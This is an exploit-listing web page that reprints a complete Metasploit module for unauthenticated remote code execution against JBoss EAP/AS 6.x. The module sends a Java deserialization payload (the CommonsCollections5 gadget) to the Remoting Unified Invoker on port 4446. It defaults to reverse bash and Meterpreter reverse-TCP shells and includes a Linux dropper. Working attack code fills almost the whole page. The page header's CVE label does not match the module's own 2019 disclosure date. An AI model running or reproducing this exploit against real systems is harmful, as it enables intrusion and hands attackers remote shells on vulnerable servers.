Advertisement






JBOSS EAP/AS 6.x Remote Code Execution

CVE Category Price Severity
CVE-2016-8735 CWE-434 $15,000 High
Author Risk Exploitation Type Date
Unknown Critical Remote 2022-07-13
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022070035

Below is a copy:

JBOSS EAP/AS 6.x Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager
  include Msf::Exploit::JavaDeserialization
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'JBOSS EAP/AS Remoting Unified Invoker RCE',
        'Description' => %q{
          An unauthenticated attacker with network access to the JBOSS
          EAP/AS <= 6.x Remoting Unified Invoker interface can send a
          serialized object to the interface to execute code on vulnerable hosts.
        },
        'Author' => [
          'Joao Matos <@joaomatosf>',         # Discovery
          'Marcio Almeida <@marcioalm>',      # PoC
          'Heyder Andrade <@HeyderAndrade>'   # msf module
        ],
        'References' => [
          [ 'URL', 'https://s3.amazonaws.com/files.joaomatosf.com/slides/alligator_slides.pdf']
        ],
        'DisclosureDate' => '2019-12-11',
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => [ 'printf' ],
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options([
      Opt::RPORT(4446)
    ])
  end

  def handshake_data
    # MAGIC BYTES JAVA SERIALIZATION OBJECT HEADER
    # AC ED: STREAM_MAGIC. Specifies that this is a serialization protocol.
    # 00 05: STREAM_VERSION. The serialization version.
    ['aced0005'].pack('H*')
  end

  def check
    connect
    sock.put(handshake_data)
    data = sock.get_once(16)
    disconnect
    return Exploit::CheckCode::Appears if data == handshake_data

    return Exploit::CheckCode::Safe
  rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError => e
    print_error("Error to connect #{rhost}:#{rport} : '#{e.class}' '#{e}'")
    return Exploit::CheckCode::Unknown
  end

  # def exploit
  def execute_command(cmd, _opts = {})
    java_payload = generate_java_deserialization_for_command('CommonsCollections5', 'bash', cmd)
    # MAGIC BYTES JBOSS PROTOCOL:
    # 0x77: TC_BLOCKDATA
    # 0x01: Length of TC_BLOCKDATA
    # 0x16: Protocol version 22
    # 0x79: TC_RESET
    magic_bytes = ['77011679'].pack('H*')
    payload = magic_bytes + java_payload.byteslice(4..)
    connect
    sock.put(handshake_data)
    sock.get_once(16)
    sock.put(payload)
    disconnect
    print_good('Successfully sent payload')
  rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError => e
    fail_with(Failure::Unreachable, e.message)
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end

end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum